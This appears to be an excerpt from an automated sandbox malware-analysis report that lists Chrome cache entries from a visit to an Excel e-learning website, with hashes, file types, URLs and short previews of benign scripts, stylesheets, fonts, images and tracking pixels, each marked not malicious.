Category:	downloaded
Size (bytes):	43392
Entropy (8bit):	5.408562411864259
Encrypted:	false
SSDEEP:	768:vTOcp4IW+3ExKTnyHLhdsD5ORvdqKqN+JeVyTUpX68POMIe7wwHXXYB53r6Oikzv:v6cp4IOxKTyHLwDcRvdMNUeVyQpX682/
MD5:	C627759F32E14DF05E6B113D622DBA1F
SHA1:	DA2C06B789EF841A4BB65ADB836E33ACC5B82DC3
SHA-256:	98ED4F4970086EC6BF71C34F55A26638C474B6D14F488A363F381DAEA52BD144
SHA-512:	6BDDEFA529584AD653E6106CEF477D289CF4718BE2D5BD74D0A07802EC529D5FA340CCF435E88F3EF754546C7B70610F2FFE093443FE12358FAA7961BC1F7451
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js
Preview:	/! elementor - v3.6.0 - 21-03-2022 /.(self.webpackChunkelementor=self.webpackChunkelementor\|\|[]).push([[882,723,209,745,120,192,520,181,791,268,357],{5526:e=>{e.exports=function _defineProperty(e,t,s){return t in e?Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}):e[t]=s,e},e.exports.default=e.exports,e.exports.__esModule=!0},8470:(e,t,s)=>{"use strict";var n=s(7914);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var i=n(s(9728));class Accordion extends i.default{getDefaultSettings(){return{...super.getDefaultSettings(),showTabFn:"slideDown",hideTabFn:"slideUp"}}}t.default=Accordion},9269:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;class Alert extends elementorModules.frontend.handlers.Base{getDefaultSettings(){return{selectors:{dismissButton:".elementor-alert-dismiss"}}}getDefaultElements(){const e=this.getSettings("selectors");return{$dismissButton:this.$element.find(e.dismissButton)}}bindEve

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	46518
Entropy (8bit):	4.680799497377526
Encrypted:	false
SSDEEP:	768:hqhxGt1o1ui9ZbABj/YYizUFxLUqaEMwZD5+gvcHcTNWxpxvQ7HlrFMH:hEU2MwbA5azUVKwRsgkcZWBQ7FO
MD5:	07559F2F8C326E0CC3F1A3792C1003C1
SHA1:	87357031B2D9335F8A5B581A19B0FA0772FFF0F4
SHA-256:	AC5EC85616BECD27083649BB9D0A660EE659E8F15A1A9D6AC524B714AF735C92
SHA-512:	4B70B31DEAC0E2A8C20DC98D444047ED6B3898C4C2313A76BA140DA266020C16A72A01A182C1E089BD69128A824FE12CE2C92FE77A1CDB715479ABCA5BB3FA85
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/amazon/v1/adjustments?offering=mediavine
Preview:	{"w3pr0g":{"1b83mdc":{"b":"bpjlds"},"kl6lmo":{"b":"bpjlds"},"1k3qmm8":{"b":"bpjlds"},"2twl4w":{"b":"bpjlds"},"12cgm4g":{"b":"bpjlds"},"voqcxs":{"b":"1b83mdc"},"1v7adxc":{"b":"1b83mdc"},"dxgcg0":{"b":"kl6lmo"},"1dg0dfk":{"b":"1k3qmm8"},"mt3cow":{"b":"1k3qmm8"},"1mbndog":{"b":"2twl4w"},"51tc74":{"b":"12cgm4g"},"14kdd6o":{"b":"12cgm4g"},"r8wutc":{"b":"voqcxs"},"1qrgvsw":{"b":"1v7adxc"},"9hmubk":{"b":"1v7adxc"},"1906vb4":{"b":"dxgcg0"},"id9ukg":{"b":"1dg0dfk"},"1hvtvk0":{"b":"1dg0dfk"},"lzu2o":{"b":"mt3cow"},"104jv28":{"b":"1mbndog"},"z0lhj4":{"b":"1mbndog"},"1yj5iio":{"b":"51tc74"},"h9bh1c":{"b":"14kdd6o"},"1grvi0w":{"b":"14kdd6o"},"q4yha8":{"b":"r8wutc"},"1pnii9s":{"b":"1qrgvsw"},"8dogsg":{"b":"1qrgvsw"},"17w8hs0":{"b":"9hmubk"},"ukrzeo":{"b":"1906vb4"},"1u3c0e8":{"b":"1906vb4"},"cthyww":{"b":"id9ukg"},"1cc1zwg":{"b":"1hvtvk0"},"lp4z5s":{"b":"1hvtvk0"},"1l7p05c":{"b":"lzu2o"},"3xuyo0":{"b":"104jv28"},"13geznk":{"b":"104jv28"},"wsoqgw":{"b":"z0lhj4"},"1wb8rgg":{"b":"1yj5iio"},"f1epz4":{"b

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (34872), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	318600
Entropy (8bit):	5.231634379229214
Encrypted:	false
SSDEEP:	3072:V1G5PX3WhJ25Jq+CbJaV7Zl2xBvBRjGqvF9Oz2/LAv/7Zl2xBvBAMXXTGQR0uFZr:Pi8
MD5:	986CF47C90AE411F8A7391B80C9432DD
SHA1:	21E644FD3E5F604E319EE70214861941D65A1545
SHA-256:	FB59CC7D0DC8D8C0B3B7D1005BF8771A6A2430B8AABB900B898F259C230AA4D7
SHA-512:	E93FB27523648470C0EED25A30203A36A1B90F60588E494CE46F97C338D768210B28D3A4BAC052A41E5965C6871E4253D9A36AEA702E4C0CB36E1681DDA9151B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/courses/
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (36031), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	217096
Entropy (8bit):	5.263369650843151
Encrypted:	false
SSDEEP:	3072:m1G5c25Jq+CwJRV7Zl2xBvBtC/7Zl2xBvBACXXTGQRquFZdvvP9TxuFikdyXxHfH:ykk
MD5:	8FF5440DD5BCC2198A1004509E5B6A76
SHA1:	8D0CD3AFE4635C4A438A1DB26A478CF7EE80183E
SHA-256:	30EC664ECA574D1DC9F2F656F02F1E376B7E51AACE57A64EBC15878E1F8770A9
SHA-512:	530C24FC226C21A60AE6762DB63990B40DA9FB10A263F2A9ABA4E3AF661ED3F07A45209878E4F55552F1FCDC9487B12B191A187E335DD3EE2D86F82425BCFEB8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/course-category/data-science/?tutor-course-filter-category=16700
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:Hd1Y:w
MD5:	FA9C17CE126A76733ACA269345EB7D47
SHA1:	F1D8AA71F281509D55041F671B1A7BD94524AAD8
SHA-256:	15F88A501BBE49A103551BA087FE6FC7E101894E71C3A74A42E8EFC07DCEC0D8
SHA-512:	DD2E08D8D294E24330DDACFCC602D5AB9C9BD65346E0C6540F599725AB711E1F1621D3939318BFC069E67CEF889B80E781DA3E935D61C26E2086DAC79428818C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnoKymHn51gNxIFDRM0Cs4=?alt=proto
Preview:	CgkKBw0TNArOGgA=

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64983)
Category:	downloaded
Size (bytes):	200636
Entropy (8bit):	5.257326139066652
Encrypted:	false
SSDEEP:	1536:+snCa+SOfHF4HkJWwy/46xCEI7QSv8PdhSRsA2RL890bxgm/6gy8WRu00hFogqPP:ea+SOfHF4HX/4nzjQdUAn/6lX1R4/bg
MD5:	6F1813B6174259DDF671E34CBB838441
SHA1:	A85E24F208582CAB0C73D190F255760861AFA5EB
SHA-256:	D52909FD327FF53D824E0402771C2E570E4390DFCF3FFD02470C76BC0BD770E3
SHA-512:	F31A2AE5FBF1C7FA36FAD36207541AC56880C02DAF4C0A9FE003B5CF021DA28B8A2EA68D71DADB486F87106E039A2316E7011341F4B68B22594EC0A33FEA15AA
Malicious:	false
Reputation:	low
URL:	https://cdn.ampproject.org/rtv/022404020207000/amp4ads-v0.mjs
Preview:	self.AMP_CONFIG={"v":"022404020207000","type":"control","allow-doc-opt-in":["amp-next-page"],"allow-url-opt-in":[],"canary":0,"a4aProfilingRate":0.01,"doubleclickSraExp":0.01,"doubleclickSraReportExcludedBlock":0.1,"flexAdSlots":0.05,"flexible-bitrate":0.1,"ios-fixed-no-transfer":0,"story-ad-placements":0.01,"story-disable-animations-first-page":1,"story-load-inactive-outside-viewport":1,"amp-sticky-ad-to-amp-ad-v4":0,"story-video-cache-apply-audio":0,"amp-story-subscriptions":1,"interaction-to-next-paint":1,"esm":1};/AMP_CONFIG/;.(()=>{var t,i=class{constructor(){this.j=new e}abort(){if(!this.j.C&&(this.j.C=!0,this.j.N)){const t={"type":"abort","bubbles":!1,"cancelable":!1,"target":this.j,"currentTarget":this.j};this.j.N(t)}}get signal(){return this.j}},e=class{constructor(){this.C=!1,this.N=null}get aborted(){return this.C}get onabort(){return this.N}set onabort(t){this.N=t}};function s(){return t\|\|(t=Promise.resolve(void 0))}var n=class{constructor(){this.promise=new Promise(((t,i

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.539819909835648
Encrypted:	false
SSDEEP:	3:i3LnTEVVKjMcyzfH9cQX/R5nOKEVSBoxY:ibT8gjMZ/kKDme
MD5:	4E21A84160E8BF8DC2A9983A3D803BCD
SHA1:	F04AFC125080A57E053488F7C182372F249AA116
SHA-256:	F6E4CC24A723F7D2472FC0EE035D140EDBBB75D9F1EE4EF4E7A7F3E295577440
SHA-512:	ADE44F5EAE010D4137D82955506A037A46971A4342CCA3700E7A892C2B71EFE3F21B756B079C1BDE02AEC68C85B5B05C23F4D8998BC4CE6AA3E2910FC129DF84
Malicious:	false
Reputation:	low
Preview:	V1:50iDDswxS9+V3vap:gKojbCIpPFjTkhsA9j/Q6MZzslM1Ayijkc29wFrrbi6Wjg7978TQhRSHayZLl+0wonyd3kGdnvlndA==

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1585)
Category:	downloaded
Size (bytes):	1586
Entropy (8bit):	4.912404143831552
Encrypted:	false
SSDEEP:	24:zFzdtQbyHb05YRqnzFRSDphD0qqvqpHnMFJN0kW9FzeFAzSxX:zFzdtQbgb0WRozFRoDRHezNUMF64
MD5:	E42FD89AF95F5514BDA1C49E1286B9DA
SHA1:	267A506E1A095CFCF16222D77348C5282EBA00F8
SHA-256:	7618E8C526524F9CD167E988A98A4CD6910C3BC59759556B61049AC3FBA0B874
SHA-512:	5EA833A85EFA415F0F18B08AF826EE616AA5893CE5B98008FB8B7D5D07C077860C1DFC5C36163F486E73635A5567F101C068A7181932F3C43C3A8082CA95802B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/edumi/font-edumi.min.css
Preview:	@charset "UTF-8";@font-face{font-family:Edumallicon;src:url(Edumallicon.eot);src:url(Edumallicon.eot?#iefix) format("embedded-opentype"),url(Edumallicon.woff2) format("woff2"),url(Edumallicon.woff) format("woff"),url(Edumallicon.ttf) format("truetype"),url(Edumallicon.svg#Edumallicon) format("svg");font-weight:400;font-style:normal}@media screen and (-webkit-min-device-pixel-ratio:0){@font-face{font-family:Edumallicon;src:url(Edumallicon.svg#Edumallicon) format("svg")}}.edumi:before{display:inline-block;font-family:Edumallicon;font-style:normal;font-weight:400;font-variant:normal;line-height:1;text-decoration:inherit;text-rendering:optimizeLegibility;text-transform:none;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-smoothing:antialiased}.edumi-content-writing:before{content:"\f100"}.edumi-correct:before{content:"\f101"}.edumi-streaming:before{content:"\f102"}.edumi-group:before{content:"\f103"}.edumi-coin:before{content:"\f104"}.edumi-layers:before{content:"

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	2683
Entropy (8bit):	4.7524734198952325
Encrypted:	false
SSDEEP:	48:R/LwSLWjbpC6cBMwlK7yT1cotdFUjp7qIRuBM7jk:9LwSLwZ7K1c4dFS7o
MD5:	A8DBC1B16BA45F5107F86D1EE736CA0F
SHA1:	7BBF11290BD6C077BBF9A30CDAC0246A4AC6EF5F
SHA-256:	AB525C7A06C3E206B63E628B86D9766B56E7C957005718DDFD0E055439ECFEC7
SHA-512:	1CE0EDC7873FFBF816CE96E7BCE373B7232CE8F13AF98BA826085C195D6B2A4F66269307DF48AEF810E6E8D31C12C7E9FB6E7C3254BCE13C574602FE45DC10B8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick-theme.css
Preview:	@charset 'UTF-8';../* Arrows */...slick-prev,..slick-next {. font-size: 0;. line-height: 0;. position: absolute;. top: 50%;. display: block;. width: 20px;. height: 20px;. padding: 0;. -webkit-transform: translate(0, -50%);. -ms-transform: translate(0, -50%);. transform: translate(0, -50%);. cursor: pointer;. color: transparent;. border: none;. outline: none;. background: transparent;.}...slick-prev:hover,..slick-prev:focus,..slick-next:hover,..slick-next:focus {. color: transparent;. outline: none;. background: transparent;.}...slick-prev:hover:before,..slick-prev:focus:before,..slick-next:hover:before,..slick-next:focus:before {. opacity: 1;.}...slick-prev.slick-disabled:before,..slick-next.slick-disabled:before {. opacity: .25;.}...slick-prev:before,..slick-next:before {. font-family: 'slick';. font-size: 20px;. line-height: 1;. opacity: .75;. color: white;. -webkit-font-smoothing: antialiased;. -moz-

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://stags.bluekai.com/site/37274?limit=1&id=b25128c5-2362-4fd7-8029-213440ee985b
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6944)
Category:	downloaded
Size (bytes):	6979
Entropy (8bit):	5.152452711185927
Encrypted:	false
SSDEEP:	96:5XAm2RL5c+VDCpu7MlDu/3+/w4XfP1RfWeru64T7mVA0fp7/Rh63E:5wmqL5c+tCpu7Mlq3qTfWeCF7KE3E
MD5:	FFF58F50D2D6243F7705185A16CBA7EA
SHA1:	144566A0887F77BF9126BD1BB46CCAD9F29A5971
SHA-256:	FCC650DABDEEF66E791D2159BDDF7E6EC415841C265E2E121BFDF8DA9F898837
SHA-512:	67A55F9A5DC39196BF8324E520E89243DECBEB180D35AC1F7ED10E90AA59617469B4B106DCEB49D314E31882AD892F6D320817E5E2872CBB5A12FBDECB5824DD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/dist/hooks.min.js
Preview:	/! This file is auto-generated /.this.wp=this.wp\|\|{},this.wp.hooks=function(n){var t={};function r(e){if(t[e])return t[e].exports;var i=t[e]={i:e,l:!1,exports:{}};return n[e].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return r.m=n,r.c=t,r.d=function(n,t,e){r.o(n,t)\|\|Object.defineProperty(n,t,{enumerable:!0,get:e})},r.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})},r.t=function(n,t){if(1&t&&(n=r(n)),8&t)return n;if(4&t&&"object"==typeof n&&n&&n.__esModule)return n;var e=Object.create(null);if(r.r(e),Object.defineProperty(e,"default",{enumerable:!0,value:n}),2&t&&"string"!=typeof n)for(var i in n)r.d(e,i,function(t){return n[t]}.bind(null,i));return e},r.n=function(n){var t=n&&n.__esModule?function(){return n.default}:function(){return n};return r.d(t,"a",t),t},r.o=function(n,t){return Object.prototype.hasOwnProperty.call(n,t)},r.p="",r(r.s="gEOj")}({"1OyB":f

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	67411
Entropy (8bit):	5.432000861993319
Encrypted:	false
SSDEEP:	768:wiUuNyqjC1ZPdwkpxv/5o2G2gJzS/5VJ7118OrJwUZbypdsRSxnzRxkx0flpVSRW:5E7ZDhyWmnvtD7Wojjoie307A0Br9qC
MD5:	30B1BA055C125855504FC0D03BB6B729
SHA1:	0AC2F28B7DCA889CA79BEB9A6C15F8AB858E25B5
SHA-256:	3BF2D11E89E25551FD0F894856B807EEA99F8247CABDB449008655F01DD1FCAB
SHA-512:	8813E92447FEDDE38A748144322CC4559A4CE6988730BF5BC37B0C5DC59E995071B5695AF7B3028DA4FC0F290EA29C8BBA366EBDF460E011E7F8935CBBD17DC6
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/32.d764cded.chunk.js
Preview:	"use strict";(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[32],{1652:(e,t,i)=>{i.r(t),i.d(t,{FullScreenView:()=>qt,default:()=>Qt});var o=i(2477),a=i(1580),r=i(9924),n=i(2136),s=i(5036),c=i(1608),l=i(3040),d=i(1232),g=i(5544),m=i(8512),u=i(612),h=i(676);const p=e=>({minHeight:"unset",minWidth:"72px",paddingBottom:0,paddingTop:0,"& :nth-child(1)":{paddingLeft:0},svg:{height:"15px",width:"15px"},span:{textTransform:"capitalize",fontWeight:"normal","&:after":{content:"attr(data-text)",height:0,visibility:"hidden",overflow:"hidden",userSelect:"none",pointerEvents:"none",fontWeight:"bold",display:"block","@media speech":{display:"none"}}},"&.Mui-selected":{svg:{color:e.palette.primary.main,width:"15px",height:"15px"},span:{fontWeight:"800",color:e.palette.text.primary}}});var k=(0,o.cp)(l.O).withConfig({displayName:"Tabs___StyledCloseIcon",componentId:"sc-2emfif-0"})(["",""],(e=>e._css2));function f(e){let{onClick:t}=e;return(0,h.im)(d.c,{color:"inhe

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 480 x 260, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	92730
Entropy (8bit):	7.989343539015824
Encrypted:	false
SSDEEP:	1536:qPhI1YQ/LOV25WoTvPAJASnPglrW9aGilYbg3K4k5Xeij8EFBv:q6QADoZnPgeaGiGsx2NFBv
MD5:	21C563AB75C554D8C09EB3EB59D35ECD
SHA1:	2FB1EBF6195F0E978231F1F01A8D430E2E281D7C
SHA-256:	0FF5617823AF3F99C6CBC5129758F1AF37A5FD4BE72A7A92A653A9DFBD583540
SHA-512:	3630822934AA5355A1D5B07A7D1537F8C188DF3C25282F2401DEADA38EA217028293DA0E1CDA2C8268766F358E9C5C27492BFC57191F0E7A84931B079E65D807
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/How-to-Create-a-Control-Chart-in-Excel-480x260.png
Preview:	.PNG........IHDR.....................IDATx...w.mKz...j..W^;.O>.[...d#.F.A.ac0.y......\.l\|...`...k....,!.!..-u....xr.g.r.q......c.9.\;.}....~f..f.U..F...~I..>d...AI...H..p..7v.>..XnB?.~.h._.`...{....8..>....1[s...=.u>.k;<.v...........)...l..6}..`...~..O........"n3[..e..mQX....tY.[.....6..f.XL.Wq..wUa..J/{......a.........p......7j.#.Y.Y l6.6....v\|.V....@ -.....cKc{$...q.......W.H...........3_]....o...D..d.:.....Pz.....U....[....^G.'....).J....lb.&O.....S.9..])D...wX..c+<./..M...k7.L.M.}../....._.{l....,.A..w...Q.....x....F..hlqP...a...b..X...}....}b.w.w[.7[\...&.2.-...$.......bo.X..+._.f....0..}.._&{Y..uO..Cf"....9..eqgQ..{[..W.u.]X.@.g..Y.......F.b..x=.oV.c.....}.s.7..7.h.....:.x8=....[.......f.m.......+.e......V.L.\|.>...D.{..Q(...v..5..;.b.w..=.}......"....h.b\..5}[..Q9.sE......s...uNXg1..).......J.....0..8\.LD....{ ......q.k........y.wuq...c...V4....LZH..9g.F.u.`)$BJ....5.+?....s....O..?.SS...o..%1....._z....1Z9..2...U...........am.A..

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14579
Entropy (8bit):	5.61070345998479
Encrypted:	false
SSDEEP:	192:o/K/XMymiG3+Ul5mEYkpRhKZqxydFUt/s31Zi53x/iGZEjP2ehtZN+y64:LPGaYj6XR
MD5:	1645C7E7BC7FEFF6E6AAE044BB82AC1B
SHA1:	FFD3C8ABFEBA7955C29614600AB20C45FBB3771C
SHA-256:	A6EE58F60C407B083623FDC4586AE66D10F4586920A825A74E26762BC262EEFD
SHA-512:	36083A8368A564568D8A69778AEB25BA849374606018C6186DC785B9F9609F14A0B2C89AEF06725A9FBC1285D8F05F4DDEDEF01D6AD24CBCC1B568C4BAA4AB6E
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Google%20Sans%3A400%2C500
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v58/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v58/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ cyrillic-ext */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/googlesans/v58/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_I

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 39 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1489
Entropy (8bit):	7.8294577443886295
Encrypted:	false
SSDEEP:	24:eyM7j9HslGNATLymZH9+M6pXG16+3TtDgG+mfgL4ewM6CZLwO:ellqGSPymB9+M6pXJ+xkGF5eaO
MD5:	89B986193FF7EFAA4C8BF5B5C19F4E9A
SHA1:	B499D1C801644420D9AEF74409CE2A3A1AA53CAC
SHA-256:	5E7DC9F58A36AE689A2B83F07E43E857208CB461AE2B4B21644A3A3CC3D502B4
SHA-512:	69E51F45060C267178C8272EAB51ED1D5F02ED2303B1D30C4AF0782B44BBC3EB0D014925E8F111CF224CD65C03DAF1DC2D347217DDAE1377CF3483AEB5EA1643
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...'...0......pc.....IDATx...o.U..}..H0.tw..Z..`..h.B0j..iwwvg..o .ZZZ.@I..."..[......`1$"E.......`4$......e.J.c;3..'........{.<n......v.4....=.A...\|..[.e...v.......E...S;..9....q(f@..9......'.%AGwr9.T.xL.X.8...s.7..(..x.......F .1PD.9%Q.O;..ci5@A..^f....t.d,.=.pZ.;.b/.}J..<6....>.p.%.aFb.f.K0..G........2b...'.....^;...8.^.7 .1.!.....<&8.w~....x.&....U...d..........z..C..}{.u.X......Kp\.=.......z.Rb...s......5#.....e.....R.p.5.I^..7w.^%.T...\~.Y..(.....G.,2..3..$.Kx......M`.f.m.....u...Q>.'.....-.6.&e...b....X.Y....+.&.x.\..`.F.....ZL....../....s~.d.k,...,_..H.8O.Kb...`YY.<..&..LK%{t4...2..:..f....,....c..2uE........!$.....R..EN#..vA...W.~-....%k.......tU..[.\|......e..?,..B...>`.qY(..r..w..k...I...VZ.<...P...)-L.h..:.....G..D...R..V....^`i...r...(8...p....Z....\|.-Tn.p..R.m..`.b..=...B.%..n.......r^Yu.:....J5.......=..b!.}%.1?.r...+.....+.<~.N..,..^....C........R.5...0..j.......@.._..@.b.>l.tf.._.=1".m..x.x.. x.c..m=..*

Chrome Cache Entry: 489

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 16 tables, 1st "FFTM", 68 names, Macintosh
Category:	downloaded
Size (bytes):	124648
Entropy (8bit):	5.709815787983921
Encrypted:	false
SSDEEP:	3072:wCDEGhHqT2Xl1MWozmQ8zade+7YqyyXSkY:/DEMqaXl1MWozmQ8uSt
MD5:	2AD44A41F978DC4136CA55F5E3ED876E
SHA1:	D99AEBE75F75A0F69A4C5FF4FCF56F78D4BCA260
SHA-256:	2BF71DCE4F302364E2912D12416C34704F337AC3FFE996AB007B67F22C7F232E
SHA-512:	D87A8259726D7BFB1CCDFE1656832810809B85527B53D55CCFA0CAF48519C7FF75BC734F332B78B54C3DCC16B71EA65FA02769C58AC4B20AD0C21519384BE89F
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/Gordita-Bold.ttf
